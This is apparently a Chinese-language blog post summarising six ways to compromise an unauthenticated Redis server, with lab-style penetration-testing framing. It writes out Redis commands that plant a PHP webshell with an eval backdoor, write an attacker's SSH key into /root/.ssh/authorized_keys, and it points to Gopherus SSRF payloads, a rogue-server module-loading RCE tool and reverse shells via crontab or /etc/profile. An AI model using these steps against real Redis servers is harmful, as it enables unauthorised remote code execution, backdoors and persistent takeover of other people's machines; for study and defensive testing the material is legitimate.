Redis反弹Shell

发布于:2025-07-29 ⋅ 阅读:(14) ⋅ 点赞:(0)

这里我来总结几种Redis反弹Shell的方法

一、利用Redis写WebShell

前提条件

开了web服务器,并且知道路径,还需要有文件读写增删改查的权限

条件比较苛刻,但是满足条件上传就会简单一点,我们直接将文件写入www目录下,完了使用工具连接即可。

语句:

redis:6379> config set dir /var/www/html/

redis:6379> config set dbfilename shell.php

redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"

redis:6379> save
 

二、利用crontab反弹Shell

前提条件:可以建立连接,下载上传文件

这个就是利用计划文件,将木马写到计划文件,等待计划任务执行时解析木马,然后反弹Shell。

详情可见

Web-Machine-N7靶机攻略-CSDN博客文章浏览阅读280次,点赞3次,收藏6次。摘要:本文记录了从靶机部署到成功获取FLAG的渗透测试过程。首先通过VirtualBox启动靶机并配置桥接网络,使用arp-scan和gobuster等工具进行信息收集,发现exploit.html文件上传点。在尝试上传木马未果后,通过查阅资料找到隐藏的enter_network/admin.php目录。通过破解Cookie(经过URL解码、base64解码和MD5解密)成功绕过管理员验证,最终拼接获得完整FLAG。整个过程展示了从信息搜集到权限提升的完整渗透测试思路。 https://blog.csdn.net/fristchoice/article/details/149613502?spm=1001.2014.3001.5501

三、SSRF结合Redis未授权Getshell

这个按道理来说已经不是反弹Shell了,而是写入GetShell,但是既然总结了,我就把他也放到这里来。这个主要就是使用kali中的Gopherus来生成载荷。命令如下:

python2 gopherus.py --exploit redis

紧接着将其进行URL编码,然后访问即可。

最后使用工具连接即可。

四、Redis密钥写入ssh

前提条件

Redis服务使用root账号启动,且可未授权登录;服务器开放了SSH服务,而且允许使用密钥登陆,即可远程写入一个公钥,直接远程登录服务器。

步骤:

生成密钥公钥:ssh-keygen -t rsa

防止乱码:(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt

导入内容到redis数据库:cat key.txt | redis-cli -h 192.168.1.74 -a 123456 -x set ssh

              -a为登陆密码,可选择不写,回显为OK

接下来保存到目录:

redis:6379> config set dir /root/.ssh
redis:6379> config set dbfilename authorized_keys 
redis:6379> save
这时就完成了,直接ssh连入即可:ssh @ IP

五、主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指一个redis作为主机,其他为备份机,主从数据相同,从机去读,主机写。在Redis4.x之后,通过外部扩展,可以实现redis中实现一个新的redis命令,构造恶意.so文件,在两个redis实例设置主从模式,redis主机实例可以通过FULLRESYNC同步文件到从机上,在从机家在恶意so文件,从而执行文件。

工具下载:nullhttps://github.com/n0b0dyCN/redis-rogue-server

六、通过修改系统配置文件执行命令

例如写入/etc/profile,/etc/bashrc等系统环境配置文件,在用户登陆时自动执行反弹shell(需要等待用户登录才可以触发)

这个方法我没有试过,只是搜索找到了这个方法,日后如果用到的话会返回来补充,现在就写到这里。欢迎大家补充讨论。


网站公告

今日签到

点亮在社区的每一天
去签到